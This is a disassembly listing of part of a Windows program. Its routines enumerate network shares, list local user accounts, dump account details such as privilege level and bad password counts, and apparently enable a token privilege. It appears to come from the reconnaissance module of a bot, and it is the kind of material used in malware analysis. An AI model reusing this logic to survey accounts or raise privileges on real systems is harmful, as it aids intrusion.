		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4116C0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4116C0
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_415110
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4116C0
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_42F608
		pop	edi
		leave
		retn
sub_411655	endp


; =============== S U B	R O U T	I N E =======================================



sub_4116C0	proc near		; CODE XREF: sub_411655+Ap
					; sub_411655+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4116CD
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4116CD:				; CODE XREF: sub_4116C0+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_41F12C
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi ; dword_41F12C
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_414855
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi ; dword_41F12C
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4116C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_411701	proc near		; CODE XREF: sub_41152F+20p
					; sub_412A1E+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4116C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4116C0
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	ds:dword_42F5E0
		pop	esi
		retn
sub_411701	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411724	proc near		; CODE XREF: seg000:0040D375p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4116C0
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 18h


loc_41175D:				; CODE XREF: sub_411724+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	ds:dword_42F654
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4117C0
		cmp	ebx, 0EAh
		jz	short loc_4117C0
		push	ebx
		push	ebx
		call	sub_411ED9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42C114
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 24h
		jmp	short loc_41182D
; ---------------------------------------------------------------------------


loc_4117C0:				; CODE XREF: sub_411724+5Dj
					; sub_411724+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_411824
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4117CE:				; CODE XREF: sub_411724+FCj
		push	dword ptr [esi+10h]
		call	ds:dword_42F5FC
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_4117E5
		mov	eax, offset aNo	; "No"


loc_4117E5:				; CODE XREF: sub_411724+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4117CE
		xor	esi, esi


loc_411824:				; CODE XREF: sub_411724+A2j
		push	[ebp+var_4]
		call	ds:dword_42F798


loc_41182D:				; CODE XREF: sub_411724+9Aj
		cmp	ebx, 0EAh
		jz	loc_41175D
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_411724	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411845	proc near		; CODE XREF: seg000:loc_40D3EBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_4118E9
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_411887
		dec	eax
		jz	short loc_41187C
		dec	eax
		jnz	short loc_4118A2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_41198B
		add	esp, 14h
		jmp	short loc_41189E
; ---------------------------------------------------------------------------


loc_41187C:				; CODE XREF: sub_411845+1Dj
		push	ebx
		push	edi
		call	sub_41196A
		pop	ecx
		pop	ecx
		jmp	short loc_41189E
; ---------------------------------------------------------------------------


loc_411887:				; CODE XREF: sub_411845+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_41189B
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_411910
		add	esp, 0Ch
		jmp	short loc_41189E
; ---------------------------------------------------------------------------


loc_41189B:				; CODE XREF: sub_411845+45j
		push	57h
		pop	eax


loc_41189E:				; CODE XREF: sub_411845+35j
					; sub_411845+40j ...
		cmp	eax, edi
		jnz	short loc_4118C2


loc_4118A2:				; CODE XREF: sub_411845+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_45E1D0
		push	ds:off_42B9AC[eax*4]
		push	offset dword_42C204
		push	esi
		call	sub_4135AD
		add	esp, 10h
		jmp	short loc_411909
; ---------------------------------------------------------------------------


loc_4118C2:				; CODE XREF: sub_411845+5Bj
		push	eax
		call	sub_411ED9
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_45E1D0
		push	ds:off_42B9A8[eax*4]
		push	offset dword_42C1C4
		push	esi
		call	sub_4135AD
		add	esp, 18h
		jmp	short loc_411909
; ---------------------------------------------------------------------------


loc_4118E9:				; CODE XREF: sub_411845+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_45E1D0
		lea	eax, [eax+eax*2]
		push	ds:off_42B9A8[eax*4]
		push	offset dword_42C188
		push	esi
		call	sub_4135AD
		add	esp, 0Ch


loc_411909:				; CODE XREF: sub_411845+7Bj
					; sub_411845+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_411845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411910	proc near		; CODE XREF: sub_411845+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4116C0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4116C0
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4116C0
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	ds:dword_42F5EC
		pop	edi
		leave
		retn
sub_411910	endp


; =============== S U B	R O U T	I N E =======================================



sub_41196A	proc near		; CODE XREF: sub_411845+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4116C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4116C0
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	ds:dword_42F5DC
		pop	esi
		retn
sub_41196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41198B	proc near		; CODE XREF: sub_411845+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4116C0
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4116C0
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	ds:dword_42F760
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_411D18
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_411D53
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4135AD
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_411AA4
		dec	eax
		jz	short loc_411A9D
		dec	eax
		jz	short loc_411A96
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_411AA9
; ---------------------------------------------------------------------------


loc_411A96:				; CODE XREF: sub_41198B+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_411AA9
; ---------------------------------------------------------------------------


loc_411A9D:				; CODE XREF: sub_41198B+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_411AA9
; ---------------------------------------------------------------------------


loc_411AA4:				; CODE XREF: sub_41198B+FCj
		mov	eax, offset aGuest ; "Guest"


loc_411AA9:				; CODE XREF: sub_41198B+109j
					; sub_41198B+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4110B0
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_411D44
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: sub_41198B+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset dword_42C238
		push	eax
		call	sub_4135AD
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4110B0
		add	esp, 20h


loc_411D44:				; CODE XREF: sub_41198B+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_411D53
		push	[ebp+var_4]
		call	ds:dword_42F798


loc_411D53:				; CODE XREF: sub_41198B+40j
					; sub_41198B+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_41198B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; CODE XREF: seg000:0040D417p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4116C0
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 18h


loc_411D98:				; CODE XREF: sub_411D59+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	ds:dword_42F670
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_411DF9
		cmp	eax, 0EAh
		jz	short loc_411DF9
		push	eax
		push	eax
		call	sub_411ED9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset dword_42C440
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 24h
		jmp	short loc_411E74
; ---------------------------------------------------------------------------


loc_411DF9:				; CODE XREF: sub_411D59+62j
					; sub_411D59+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_411E87
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_411E74


loc_411E0B:				; CODE XREF: sub_411D59+EDj
		cmp	edi, esi
		jz	short loc_411E4A
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_4135AD
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_411E0B
		jmp	short loc_411E74
; ---------------------------------------------------------------------------


loc_411E4A:				; CODE XREF: sub_411D59+B4j
		lea	eax, [ebp+var_218]
		push	offset dword_42C3F8
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 1Ch


loc_411E74:				; CODE XREF: sub_411D59+9Ej
					; sub_411D59+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_411E87
		push	edi
		call	ds:dword_42F798
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_411E87:				; CODE XREF: sub_411D59+A5j
					; sub_411D59+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_411D98
		cmp	edi, esi
		jz	short loc_411E9F
		push	edi
		call	ds:dword_42F798


loc_411E9F:				; CODE XREF: sub_411D59+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================



sub_411ED9	proc near		; CODE XREF: sub_41152F+41p
					; sub_411724+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_411F8B
		jz	loc_411F84
		cmp	eax, 7Bh
		ja	short loc_411F50
		jz	short loc_411F46
		cmp	eax, 5
		jz	short loc_411F3C
		cmp	eax, 8
		jz	short loc_411F32
		cmp	eax, 32h
		jz	short loc_411F28
		cmp	eax, 35h
		jz	short loc_411F1E
		cmp	eax, 57h
		jnz	loc_411FDA
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F1E:				; CODE XREF: sub_411ED9+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F28:				; CODE XREF: sub_411ED9+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F32:				; CODE XREF: sub_411ED9+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F3C:				; CODE XREF: sub_411ED9+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F46:				; CODE XREF: sub_411ED9+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F50:				; CODE XREF: sub_411ED9+1Aj
		sub	eax, 7Ch
		jz	short loc_411F7D
		sub	eax, 7C8h
		jz	short loc_411F76
		dec	eax
		jz	short loc_411F6C
		dec	eax
		jnz	short loc_411FDA
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F6C:				; CODE XREF: sub_411ED9+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_411FFB
; ---------------------------------------------------------------------------


loc_411F76:				; CODE XREF: sub_411ED9+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411F7D:				; CODE XREF: sub_411ED9+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411F84:				; CODE XREF: sub_411ED9+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411F8B:				; CODE XREF: sub_411ED9+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_411FC4
		jz	short loc_411FBD
		sub	eax, 8ADh
		jz	short loc_411FEF
		dec	eax
		dec	eax
		jz	short loc_411FB6
		dec	eax
		jz	short loc_411FAF
		dec	eax
		dec	eax
		jnz	short loc_411FDA
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FAF:				; CODE XREF: sub_411ED9+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FB6:				; CODE XREF: sub_411ED9+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FBD:				; CODE XREF: sub_411ED9+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FC4:				; CODE XREF: sub_411ED9+B9j
		sub	eax, 8CAh
		jz	short loc_411FF6
		sub	eax, 17h
		jz	short loc_411FEF
		sub	eax, 25h
		jz	short loc_411FE8
		sub	eax, 29h
		jz	short loc_411FE1


loc_411FDA:				; CODE XREF: sub_411ED9+35j
					; sub_411ED9+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FE1:				; CODE XREF: sub_411ED9+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FE8:				; CODE XREF: sub_411ED9+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FEF:				; CODE XREF: sub_411ED9+C2j
					; sub_411ED9+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_411FFB
; ---------------------------------------------------------------------------


loc_411FF6:				; CODE XREF: sub_411ED9+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_411FFB:				; CODE XREF: sub_411ED9+40j
					; sub_411ED9+4Aj ...
		push	offset dword_45DF70
		call	sub_4135AD
		pop	ecx
		mov	eax, offset dword_45DF70
		pop	ecx
		retn
sub_411ED9	endp

; ---------------------------------------------------------------------------


loc_41200D:				; CODE XREF: seg000:0040D456p
		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-718h]
		push	eax
		call	sub_415A89
		add	esp, 0Ch
		lea	eax, [ebp+8]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp-108h]
		push	eax
		mov	[ebp+8], esi
		call	near ptr 0A70000h
		or	al, 8Dh
		test	edi, eax
; ---------------------------------------------------------------------------
		dw 0FFFEh
; ---------------------------------------------------------------------------
		call	dword ptr [esi+50h]
		lea	eax, [ebp-318h]
		push	eax
		call	sub_415A89
		lea	eax, [ebp-718h]
		push	eax
		call	sub_415A6C
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp-718h]
		push	eax
		lea	eax, [ebp-318h]
		push	0
		push	eax
		push	0
		call	ds:dword_42F718
		test	eax, eax
		jnz	short loc_41209D
		mov	esi, offset dword_45DD6C
		push	offset dword_42C798
		push	esi
		call	sub_4135AD
		pop	ecx
		pop	ecx
		jmp	short loc_4120C6
; ---------------------------------------------------------------------------


loc_41209D:				; CODE XREF: seg000:00412087j
		lea	ecx, [ebp-718h]
		push	ecx
		lea	ecx, [ebp-318h]
		push	ecx
		push	eax
		call	sub_411ED9
		pop	ecx
		mov	esi, offset dword_45DD6C
		push	eax
		push	offset dword_42C75C
		push	esi
		call	sub_4135AD
		add	esp, 14h


loc_4120C6:				; CODE XREF: seg000:0041209Bj
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4120CB	proc near		; CODE XREF: sub_40829B+7p
					; sub_412136+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 0A70000h
		inc	edi
		push	eax
		call	ds:dword_42F6EC
		test	eax, eax
		jnz	short loc_4120EA
		leave
		retn
; ---------------------------------------------------------------------------


loc_4120EA:				; CODE XREF: sub_4120CB+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_42F6C4
		test	eax, eax
		jz	short loc_412128
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_412111
		or	[ebp+var_8], 2
		jmp	short loc_412115
; ---------------------------------------------------------------------------


loc_412111:				; CODE XREF: sub_4120CB+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_412115:				; CODE XREF: sub_4120CB+44j
		push	esi
		push	esi
